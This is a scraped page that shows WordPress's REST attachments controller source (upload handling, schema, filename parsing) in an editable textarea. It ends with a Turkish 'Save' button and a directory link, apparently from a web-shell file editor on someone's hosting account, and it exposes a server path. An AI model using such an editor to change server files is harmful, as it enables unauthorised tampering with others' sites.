			if ( empty( $data[&#039;media_details&#039;] ) ) {
				$data[&#039;media_details&#039;] = new stdClass();
			} elseif ( ! empty( $data[&#039;media_details&#039;][&#039;sizes&#039;] ) ) {

				foreach ( $data[&#039;media_details&#039;][&#039;sizes&#039;] as $size =&gt; &amp;$size_data ) {

					if ( isset( $size_data[&#039;mime-type&#039;] ) ) {
						$size_data[&#039;mime_type&#039;] = $size_data[&#039;mime-type&#039;];
						unset( $size_data[&#039;mime-type&#039;] );
					}

					// Use the same method image_downsize() does.
					$image_src = wp_get_attachment_image_src( $post-&gt;ID, $size );
					if ( ! $image_src ) {
						continue;
					}

					$size_data[&#039;source_url&#039;] = $image_src[0];
				}

				$full_src = wp_get_attachment_image_src( $post-&gt;ID, &#039;full&#039; );

				if ( ! empty( $full_src ) ) {
					$data[&#039;media_details&#039;][&#039;sizes&#039;][&#039;full&#039;] = array(
						&#039;file&#039;       =&gt; wp_basename( $full_src[0] ),
						&#039;width&#039;      =&gt; $full_src[1],
						&#039;height&#039;     =&gt; $full_src[2],
						&#039;mime_type&#039;  =&gt; $post-&gt;post_mime_type,
						&#039;source_url&#039; =&gt; $full_src[0],
					);
				}
			} else {
				$data[&#039;media_details&#039;][&#039;sizes&#039;] = new stdClass();
			}
		}

		if ( in_array( &#039;post&#039;, $fields, true ) ) {
			$data[&#039;post&#039;] = ! empty( $post-&gt;post_parent ) ? (int) $post-&gt;post_parent : null;
		}

		if ( in_array( &#039;source_url&#039;, $fields, true ) ) {
			$data[&#039;source_url&#039;] = wp_get_attachment_url( $post-&gt;ID );
		}

		if ( in_array( &#039;missing_image_sizes&#039;, $fields, true ) ) {
			require_once ABSPATH . &#039;wp-admin/includes/image.php&#039;;
			$data[&#039;missing_image_sizes&#039;] = array_keys( wp_get_missing_image_subsizes( $post-&gt;ID ) );
		}

		$context = ! empty( $request[&#039;context&#039;] ) ? $request[&#039;context&#039;] : &#039;view&#039;;

		$data = $this-&gt;filter_response_by_context( $data, $context );

		$links = $response-&gt;get_links();

		// Wrap the data in a response object.
		$response = rest_ensure_response( $data );

		foreach ( $links as $rel =&gt; $rel_links ) {
			foreach ( $rel_links as $link ) {
				$response-&gt;add_link( $rel, $link[&#039;href&#039;], $link[&#039;attributes&#039;] );
			}
		}

		/**
		 * Filters an attachment returned from the REST API.
		 *
		 * Allows modification of the attachment right before it is returned.
		 *
		 * @since 4.7.0
		 *
		 * @param WP_REST_Response $response The response object.
		 * @param WP_Post          $post     The original attachment post.
		 * @param WP_REST_Request  $request  Request used to generate the response.
		 */
		return apply_filters( &#039;rest_prepare_attachment&#039;, $response, $post, $request );
	}

	/**
	 * Retrieves the attachment&#039;s schema, conforming to JSON Schema.
	 *
	 * @since 4.7.0
	 *
	 * @return array Item schema as an array.
	 */
	public function get_item_schema() {
		if ( $this-&gt;schema ) {
			return $this-&gt;add_additional_fields_schema( $this-&gt;schema );
		}

		$schema = parent::get_item_schema();

		$schema[&#039;properties&#039;][&#039;alt_text&#039;] = array(
			&#039;description&#039; =&gt; __( &#039;Alternative text to display when attachment is not displayed.&#039; ),
			&#039;type&#039;        =&gt; &#039;string&#039;,
			&#039;context&#039;     =&gt; array( &#039;view&#039;, &#039;edit&#039;, &#039;embed&#039; ),
			&#039;arg_options&#039; =&gt; array(
				&#039;sanitize_callback&#039; =&gt; &#039;sanitize_text_field&#039;,
			),
		);

		$schema[&#039;properties&#039;][&#039;caption&#039;] = array(
			&#039;description&#039; =&gt; __( &#039;The attachment caption.&#039; ),
			&#039;type&#039;        =&gt; &#039;object&#039;,
			&#039;context&#039;     =&gt; array( &#039;view&#039;, &#039;edit&#039;, &#039;embed&#039; ),
			&#039;arg_options&#039; =&gt; array(
				&#039;sanitize_callback&#039; =&gt; null, // Note: sanitization implemented in self::prepare_item_for_database().
				&#039;validate_callback&#039; =&gt; null, // Note: validation implemented in self::prepare_item_for_database().
			),
			&#039;properties&#039;  =&gt; array(
				&#039;raw&#039;      =&gt; array(
					&#039;description&#039; =&gt; __( &#039;Caption for the attachment, as it exists in the database.&#039; ),
					&#039;type&#039;        =&gt; &#039;string&#039;,
					&#039;context&#039;     =&gt; array( &#039;edit&#039; ),
				),
				&#039;rendered&#039; =&gt; array(
					&#039;description&#039; =&gt; __( &#039;HTML caption for the attachment, transformed for display.&#039; ),
					&#039;type&#039;        =&gt; &#039;string&#039;,
					&#039;context&#039;     =&gt; array( &#039;view&#039;, &#039;edit&#039;, &#039;embed&#039; ),
					&#039;readonly&#039;    =&gt; true,
				),
			),
		);

		$schema[&#039;properties&#039;][&#039;description&#039;] = array(
			&#039;description&#039; =&gt; __( &#039;The attachment description.&#039; ),
			&#039;type&#039;        =&gt; &#039;object&#039;,
			&#039;context&#039;     =&gt; array( &#039;view&#039;, &#039;edit&#039; ),
			&#039;arg_options&#039; =&gt; array(
				&#039;sanitize_callback&#039; =&gt; null, // Note: sanitization implemented in self::prepare_item_for_database().
				&#039;validate_callback&#039; =&gt; null, // Note: validation implemented in self::prepare_item_for_database().
			),
			&#039;properties&#039;  =&gt; array(
				&#039;raw&#039;      =&gt; array(
					&#039;description&#039; =&gt; __( &#039;Description for the attachment, as it exists in the database.&#039; ),
					&#039;type&#039;        =&gt; &#039;string&#039;,
					&#039;context&#039;     =&gt; array( &#039;edit&#039; ),
				),
				&#039;rendered&#039; =&gt; array(
					&#039;description&#039; =&gt; __( &#039;HTML description for the attachment, transformed for display.&#039; ),
					&#039;type&#039;        =&gt; &#039;string&#039;,
					&#039;context&#039;     =&gt; array( &#039;view&#039;, &#039;edit&#039; ),
					&#039;readonly&#039;    =&gt; true,
				),
			),
		);

		$schema[&#039;properties&#039;][&#039;media_type&#039;] = array(
			&#039;description&#039; =&gt; __( &#039;Attachment type.&#039; ),
			&#039;type&#039;        =&gt; &#039;string&#039;,
			&#039;enum&#039;        =&gt; array( &#039;image&#039;, &#039;file&#039; ),
			&#039;context&#039;     =&gt; array( &#039;view&#039;, &#039;edit&#039;, &#039;embed&#039; ),
			&#039;readonly&#039;    =&gt; true,
		);

		$schema[&#039;properties&#039;][&#039;mime_type&#039;] = array(
			&#039;description&#039; =&gt; __( &#039;The attachment MIME type.&#039; ),
			&#039;type&#039;        =&gt; &#039;string&#039;,
			&#039;context&#039;     =&gt; array( &#039;view&#039;, &#039;edit&#039;, &#039;embed&#039; ),
			&#039;readonly&#039;    =&gt; true,
		);

		$schema[&#039;properties&#039;][&#039;media_details&#039;] = array(
			&#039;description&#039; =&gt; __( &#039;Details about the media file, specific to its type.&#039; ),
			&#039;type&#039;        =&gt; &#039;object&#039;,
			&#039;context&#039;     =&gt; array( &#039;view&#039;, &#039;edit&#039;, &#039;embed&#039; ),
			&#039;readonly&#039;    =&gt; true,
		);

		$schema[&#039;properties&#039;][&#039;post&#039;] = array(
			&#039;description&#039; =&gt; __( &#039;The ID for the associated post of the attachment.&#039; ),
			&#039;type&#039;        =&gt; &#039;integer&#039;,
			&#039;context&#039;     =&gt; array( &#039;view&#039;, &#039;edit&#039; ),
		);

		$schema[&#039;properties&#039;][&#039;source_url&#039;] = array(
			&#039;description&#039; =&gt; __( &#039;URL to the original attachment file.&#039; ),
			&#039;type&#039;        =&gt; &#039;string&#039;,
			&#039;format&#039;      =&gt; &#039;uri&#039;,
			&#039;context&#039;     =&gt; array( &#039;view&#039;, &#039;edit&#039;, &#039;embed&#039; ),
			&#039;readonly&#039;    =&gt; true,
		);

		$schema[&#039;properties&#039;][&#039;missing_image_sizes&#039;] = array(
			&#039;description&#039; =&gt; __( &#039;List of the missing image sizes of the attachment.&#039; ),
			&#039;type&#039;        =&gt; &#039;array&#039;,
			&#039;items&#039;       =&gt; array( &#039;type&#039; =&gt; &#039;string&#039; ),
			&#039;context&#039;     =&gt; array( &#039;edit&#039; ),
			&#039;readonly&#039;    =&gt; true,
		);

		unset( $schema[&#039;properties&#039;][&#039;password&#039;] );

		$this-&gt;schema = $schema;

		return $this-&gt;add_additional_fields_schema( $this-&gt;schema );
	}

	/**
	 * Handles an upload via raw POST data.
	 *
	 * @since 4.7.0
	 * @since 6.6.0 Added the `$time` parameter.
	 *
	 * @param string      $data    Supplied file data.
	 * @param array       $headers HTTP headers from the request.
	 * @param string|null $time    Optional. Time formatted in &#039;yyyy/mm&#039;. Default null.
	 * @return array|WP_Error Data from wp_handle_sideload().
	 */
	protected function upload_from_data( $data, $headers, $time = null ) {
		if ( empty( $data ) ) {
			return new WP_Error(
				&#039;rest_upload_no_data&#039;,
				__( &#039;No data supplied.&#039; ),
				array( &#039;status&#039; =&gt; 400 )
			);
		}

		if ( empty( $headers[&#039;content_type&#039;] ) ) {
			return new WP_Error(
				&#039;rest_upload_no_content_type&#039;,
				__( &#039;No Content-Type supplied.&#039; ),
				array( &#039;status&#039; =&gt; 400 )
			);
		}

		if ( empty( $headers[&#039;content_disposition&#039;] ) ) {
			return new WP_Error(
				&#039;rest_upload_no_content_disposition&#039;,
				__( &#039;No Content-Disposition supplied.&#039; ),
				array( &#039;status&#039; =&gt; 400 )
			);
		}

		$filename = self::get_filename_from_disposition( $headers[&#039;content_disposition&#039;] );

		if ( empty( $filename ) ) {
			return new WP_Error(
				&#039;rest_upload_invalid_disposition&#039;,
				__( &#039;Invalid Content-Disposition supplied. Content-Disposition needs to be formatted as `attachment; filename=&quot;image.png&quot;` or similar.&#039; ),
				array( &#039;status&#039; =&gt; 400 )
			);
		}

		if ( ! empty( $headers[&#039;content_md5&#039;] ) ) {
			$content_md5 = array_shift( $headers[&#039;content_md5&#039;] );
			$expected    = trim( $content_md5 );
			$actual      = md5( $data );

			if ( $expected !== $actual ) {
				return new WP_Error(
					&#039;rest_upload_hash_mismatch&#039;,
					__( &#039;Content hash did not match expected.&#039; ),
					array( &#039;status&#039; =&gt; 412 )
				);
			}
		}

		// Get the content-type.
		$type = array_shift( $headers[&#039;content_type&#039;] );

		// Include filesystem functions to get access to wp_tempnam() and wp_handle_sideload().
		require_once ABSPATH . &#039;wp-admin/includes/file.php&#039;;

		// Save the file.
		$tmpfname = wp_tempnam( $filename );

		$fp = fopen( $tmpfname, &#039;w+&#039; );

		if ( ! $fp ) {
			return new WP_Error(
				&#039;rest_upload_file_error&#039;,
				__( &#039;Could not open file handle.&#039; ),
				array( &#039;status&#039; =&gt; 500 )
			);
		}

		fwrite( $fp, $data );
		fclose( $fp );

		// Now, sideload it in.
		$file_data = array(
			&#039;error&#039;    =&gt; null,
			&#039;tmp_name&#039; =&gt; $tmpfname,
			&#039;name&#039;     =&gt; $filename,
			&#039;type&#039;     =&gt; $type,
		);

		$size_check = self::check_upload_size( $file_data );
		if ( is_wp_error( $size_check ) ) {
			return $size_check;
		}

		$overrides = array(
			&#039;test_form&#039; =&gt; false,
		);

		$sideloaded = wp_handle_sideload( $file_data, $overrides, $time );

		if ( isset( $sideloaded[&#039;error&#039;] ) ) {
			@unlink( $tmpfname );

			return new WP_Error(
				&#039;rest_upload_sideload_error&#039;,
				$sideloaded[&#039;error&#039;],
				array( &#039;status&#039; =&gt; 500 )
			);
		}

		return $sideloaded;
	}

	/**
	 * Parses filename from a Content-Disposition header value.
	 *
	 * As per RFC6266:
	 *
	 *     content-disposition = &quot;Content-Disposition&quot; &quot;:&quot;
	 *                            disposition-type *( &quot;;&quot; disposition-parm )
	 *
	 *     disposition-type    = &quot;inline&quot; | &quot;attachment&quot; | disp-ext-type
	 *                         ; case-insensitive
	 *     disp-ext-type       = token
	 *
	 *     disposition-parm    = filename-parm | disp-ext-parm
	 *
	 *     filename-parm       = &quot;filename&quot; &quot;=&quot; value
	 *                         | &quot;filename*&quot; &quot;=&quot; ext-value
	 *
	 *     disp-ext-parm       = token &quot;=&quot; value
	 *                         | ext-token &quot;=&quot; ext-value
	 *     ext-token           = &lt;the characters in token, followed by &quot;*&quot;&gt;
	 *
	 * @since 4.7.0
	 *
	 * @link https://tools.ietf.org/html/rfc2388
	 * @link https://tools.ietf.org/html/rfc6266
	 *
	 * @param string[] $disposition_header List of Content-Disposition header values.
	 * @return string|null Filename if available, or null if not found.
	 */
	public static function get_filename_from_disposition( $disposition_header ) {
		// Get the filename.
		$filename = null;

		foreach ( $disposition_header as $value ) {
			$value = trim( $value );

			if ( ! str_contains( $value, &#039;;&#039; ) ) {
				continue;
			}

			list( , $attr_parts ) = explode( &#039;;&#039;, $value, 2 );

			$attr_parts = explode( &#039;;&#039;, $attr_parts );
			$attributes = array();

			foreach ( $attr_parts as $part ) {
				if ( ! str_contains( $part, &#039;=&#039; ) ) {
					continue;
				}

				list( $key, $value ) = explode( &#039;=&#039;, $part, 2 );

				$attributes[ trim( $key ) ] = trim( $value );
			}

			if ( empty( $attributes[&#039;filename&#039;] ) ) {
				continue;
			}

			$filename = trim( $attributes[&#039;filename&#039;] );

			// Unquote quoted filename, but after trimming.
			if ( str_starts_with( $filename, &#039;&quot;&#039; ) &amp;&amp; str_ends_with( $filename, &#039;&quot;&#039; ) ) {
				$filename = substr( $filename, 1, -1 );
			}
		}

		return $filename;
	}

	/**
	 * Retrieves the query params for collections of attachments.
	 *
	 * @since 4.7.0
	 *
	 * @return array Query parameters for the attachment collection as an array.
	 */
	public function get_collection_params() {
		$params                            = parent::get_collection_params();
		$params[&#039;status&#039;][&#039;default&#039;]       = &#039;inherit&#039;;
		$params[&#039;status&#039;][&#039;items&#039;][&#039;enum&#039;] = array( &#039;inherit&#039;, &#039;private&#039;, &#039;trash&#039; );
		$media_types                       = $this-&gt;get_media_types();

		$params[&#039;media_type&#039;] = array(
			&#039;default&#039;     =&gt; null,
			&#039;description&#039; =&gt; __( &#039;Limit result set to attachments of a particular media type.&#039; ),
			&#039;type&#039;        =&gt; &#039;string&#039;,
			&#039;enum&#039;        =&gt; array_keys( $media_types ),
		);

		$params[&#039;mime_type&#039;] = array(
			&#039;default&#039;     =&gt; null,
			&#039;description&#039; =&gt; __( &#039;Limit result set to attachments of a particular MIME type.&#039; ),
			&#039;type&#039;        =&gt; &#039;string&#039;,
		);

		return $params;
	}

	/**
	 * Handles an upload via multipart/form-data ($_FILES).
	 *
	 * @since 4.7.0
	 * @since 6.6.0 Added the `$time` parameter.
	 *
	 * @param array       $files   Data from the `$_FILES` superglobal.
	 * @param array       $headers HTTP headers from the request.
	 * @param string|null $time    Optional. Time formatted in &#039;yyyy/mm&#039;. Default null.
	 * @return array|WP_Error Data from wp_handle_upload().
	 */
	protected function upload_from_file( $files, $headers, $time = null ) {
		if ( empty( $files ) ) {
			return new WP_Error(
				&#039;rest_upload_no_data&#039;,
				__( &#039;No data supplied.&#039; ),
				array( &#039;status&#039; =&gt; 400 )
			);
		}

		// Verify hash, if given.
		if ( ! empty( $headers[&#039;content_md5&#039;] ) ) {
			$content_md5 = array_shift( $headers[&#039;content_md5&#039;] );
			$expected    = trim( $content_md5 );
			$actual      = md5_file( $files[&#039;file&#039;][&#039;tmp_name&#039;] );

			if ( $expected !== $actual ) {
				return new WP_Error(
					&#039;rest_upload_hash_mismatch&#039;,
					__( &#039;Content hash did not match expected.&#039; ),
					array( &#039;status&#039; =&gt; 412 )
				);
			}
		}

		// Pass off to WP to handle the actual upload.
		$overrides = array(
			&#039;test_form&#039; =&gt; false,
		);

		// Bypasses is_uploaded_file() when running unit tests.
		if ( defined( &#039;DIR_TESTDATA&#039; ) &amp;&amp; DIR_TESTDATA ) {
			$overrides[&#039;action&#039;] = &#039;wp_handle_mock_upload&#039;;
		}

		$size_check = self::check_upload_size( $files[&#039;file&#039;] );
		if ( is_wp_error( $size_check ) ) {
			return $size_check;
		}

		// Include filesystem functions to get access to wp_handle_upload().
		require_once ABSPATH . &#039;wp-admin/includes/file.php&#039;;

		$file = wp_handle_upload( $files[&#039;file&#039;], $overrides, $time );

		if ( isset( $file[&#039;error&#039;] ) ) {
			return new WP_Error(
				&#039;rest_upload_unknown_error&#039;,
				$file[&#039;error&#039;],
				array( &#039;status&#039; =&gt; 500 )
			);
		}

		return $file;
	}

	/**
	 * Retrieves the supported media types.
	 *
	 * Media types are considered the MIME type category.
	 *
	 * @since 4.7.0
	 *
	 * @return array Array of supported media types.
	 */
	protected function get_media_types() {
		$media_types = array();

		foreach ( get_allowed_mime_types() as $mime_type ) {
			$parts = explode( &#039;/&#039;, $mime_type );

			if ( ! isset( $media_types[ $parts[0] ] ) ) {
				$media_types[ $parts[0] ] = array();
			}

			$media_types[ $parts[0] ][] = $mime_type;
		}

		return $media_types;
	}

	/**
	 * Determine if uploaded file exceeds space quota on multisite.
	 *
	 * Replicates check_upload_size().
	 *
	 * @since 4.9.8
	 *
	 * @param array $file $_FILES array for a given file.
	 * @return true|WP_Error True if can upload, error for errors.
	 */
	protected function check_upload_size( $file ) {
		if ( ! is_multisite() ) {
			return true;
		}

		if ( get_site_option( &#039;upload_space_check_disabled&#039; ) ) {
			return true;
		}

		$space_left = get_upload_space_available();

		$file_size = filesize( $file[&#039;tmp_name&#039;] );

		if ( $space_left &lt; $file_size ) {
			return new WP_Error(
				&#039;rest_upload_limited_space&#039;,
				/* translators: %s: Required disk space in kilobytes. */
				sprintf( __( &#039;Not enough space to upload. %s KB needed.&#039; ), number_format( ( $file_size - $space_left ) / KB_IN_BYTES ) ),
				array( &#039;status&#039; =&gt; 400 )
			);
		}

		if ( $file_size &gt; ( KB_IN_BYTES * get_site_option( &#039;fileupload_maxk&#039;, 1500 ) ) ) {
			return new WP_Error(
				&#039;rest_upload_file_too_big&#039;,
				/* translators: %s: Maximum allowed file size in kilobytes. */
				sprintf( __( &#039;This file is too big. Files must be less than %s KB in size.&#039; ), get_site_option( &#039;fileupload_maxk&#039;, 1500 ) ),
				array( &#039;status&#039; =&gt; 400 )
			);
		}

		// Include multisite admin functions to get access to upload_is_user_over_quota().
		require_once ABSPATH . &#039;wp-admin/includes/ms.php&#039;;

		if ( upload_is_user_over_quota( false ) ) {
			return new WP_Error(
				&#039;rest_upload_user_quota_exceeded&#039;,
				__( &#039;You have used your space quota. Please delete files before uploading.&#039; ),
				array( &#039;status&#039; =&gt; 400 )
			);
		}

		return true;
	}

	/**
	 * Gets the request args for the edit item route.
	 *
	 * @since 5.5.0
	 *
	 * @return array
	 */
	protected function get_edit_media_item_args() {
		return array(
			&#039;src&#039;       =&gt; array(
				&#039;description&#039; =&gt; __( &#039;URL to the edited image file.&#039; ),
				&#039;type&#039;        =&gt; &#039;string&#039;,
				&#039;format&#039;      =&gt; &#039;uri&#039;,
				&#039;required&#039;    =&gt; true,
			),
			&#039;modifiers&#039; =&gt; array(
				&#039;description&#039; =&gt; __( &#039;Array of image edits.&#039; ),
				&#039;type&#039;        =&gt; &#039;array&#039;,
				&#039;minItems&#039;    =&gt; 1,
				&#039;items&#039;       =&gt; array(
					&#039;description&#039; =&gt; __( &#039;Image edit.&#039; ),
					&#039;type&#039;        =&gt; &#039;object&#039;,
					&#039;required&#039;    =&gt; array(
						&#039;type&#039;,
						&#039;args&#039;,
					),
					&#039;oneOf&#039;       =&gt; array(
						array(
							&#039;title&#039;      =&gt; __( &#039;Rotation&#039; ),
							&#039;properties&#039; =&gt; array(
								&#039;type&#039; =&gt; array(
									&#039;description&#039; =&gt; __( &#039;Rotation type.&#039; ),
									&#039;type&#039;        =&gt; &#039;string&#039;,
									&#039;enum&#039;        =&gt; array( &#039;rotate&#039; ),
								),
								&#039;args&#039; =&gt; array(
									&#039;description&#039; =&gt; __( &#039;Rotation arguments.&#039; ),
									&#039;type&#039;        =&gt; &#039;object&#039;,
									&#039;required&#039;    =&gt; array(
										&#039;angle&#039;,
									),
									&#039;properties&#039;  =&gt; array(
										&#039;angle&#039; =&gt; array(
											&#039;description&#039; =&gt; __( &#039;Angle to rotate clockwise in degrees.&#039; ),
											&#039;type&#039;        =&gt; &#039;number&#039;,
										),
									),
								),
							),
						),
						array(
							&#039;title&#039;      =&gt; __( &#039;Crop&#039; ),
							&#039;properties&#039; =&gt; array(
								&#039;type&#039; =&gt; array(
									&#039;description&#039; =&gt; __( &#039;Crop type.&#039; ),
									&#039;type&#039;        =&gt; &#039;string&#039;,
									&#039;enum&#039;        =&gt; array( &#039;crop&#039; ),
								),
								&#039;args&#039; =&gt; array(
									&#039;description&#039; =&gt; __( &#039;Crop arguments.&#039; ),
									&#039;type&#039;        =&gt; &#039;object&#039;,
									&#039;required&#039;    =&gt; array(
										&#039;left&#039;,
										&#039;top&#039;,
										&#039;width&#039;,
										&#039;height&#039;,
									),
									&#039;properties&#039;  =&gt; array(
										&#039;left&#039;   =&gt; array(
											&#039;description&#039; =&gt; __( &#039;Horizontal position from the left to begin the crop as a percentage of the image width.&#039; ),
											&#039;type&#039;        =&gt; &#039;number&#039;,
										),
										&#039;top&#039;    =&gt; array(
											&#039;description&#039; =&gt; __( &#039;Vertical position from the top to begin the crop as a percentage of the image height.&#039; ),
											&#039;type&#039;        =&gt; &#039;number&#039;,
										),
										&#039;width&#039;  =&gt; array(
											&#039;description&#039; =&gt; __( &#039;Width of the crop as a percentage of the image width.&#039; ),
											&#039;type&#039;        =&gt; &#039;number&#039;,
										),
										&#039;height&#039; =&gt; array(
											&#039;description&#039; =&gt; __( &#039;Height of the crop as a percentage of the image height.&#039; ),
											&#039;type&#039;        =&gt; &#039;number&#039;,
										),
									),
								),
							),
						),
					),
				),
			),
			&#039;rotation&#039;  =&gt; array(
				&#039;description&#039;      =&gt; __( &#039;The amount to rotate the image clockwise in degrees. DEPRECATED: Use `modifiers` instead.&#039; ),
				&#039;type&#039;             =&gt; &#039;integer&#039;,
				&#039;minimum&#039;          =&gt; 0,
				&#039;exclusiveMinimum&#039; =&gt; true,
				&#039;maximum&#039;          =&gt; 360,
				&#039;exclusiveMaximum&#039; =&gt; true,
			),
			&#039;x&#039;         =&gt; array(
				&#039;description&#039; =&gt; __( &#039;As a percentage of the image, the x position to start the crop from. DEPRECATED: Use `modifiers` instead.&#039; ),
				&#039;type&#039;        =&gt; &#039;number&#039;,
				&#039;minimum&#039;     =&gt; 0,
				&#039;maximum&#039;     =&gt; 100,
			),
			&#039;y&#039;         =&gt; array(
				&#039;description&#039; =&gt; __( &#039;As a percentage of the image, the y position to start the crop from. DEPRECATED: Use `modifiers` instead.&#039; ),
				&#039;type&#039;        =&gt; &#039;number&#039;,
				&#039;minimum&#039;     =&gt; 0,
				&#039;maximum&#039;     =&gt; 100,
			),
			&#039;width&#039;     =&gt; array(
				&#039;description&#039; =&gt; __( &#039;As a percentage of the image, the width to crop the image to. DEPRECATED: Use `modifiers` instead.&#039; ),
				&#039;type&#039;        =&gt; &#039;number&#039;,
				&#039;minimum&#039;     =&gt; 0,
				&#039;maximum&#039;     =&gt; 100,
			),
			&#039;height&#039;    =&gt; array(
				&#039;description&#039; =&gt; __( &#039;As a percentage of the image, the height to crop the image to. DEPRECATED: Use `modifiers` instead.&#039; ),
				&#039;type&#039;        =&gt; &#039;number&#039;,
				&#039;minimum&#039;     =&gt; 0,
				&#039;maximum&#039;     =&gt; 100,
			),
		);
	}
}
</textarea><br><br>
        <button>Kaydet</button>
        </form><a href='?path=%2Fhome%2Fm.elifov%2Fstudyondalinda.com%2Fwp-includes%2Frest-api'>?? Yukar?</a>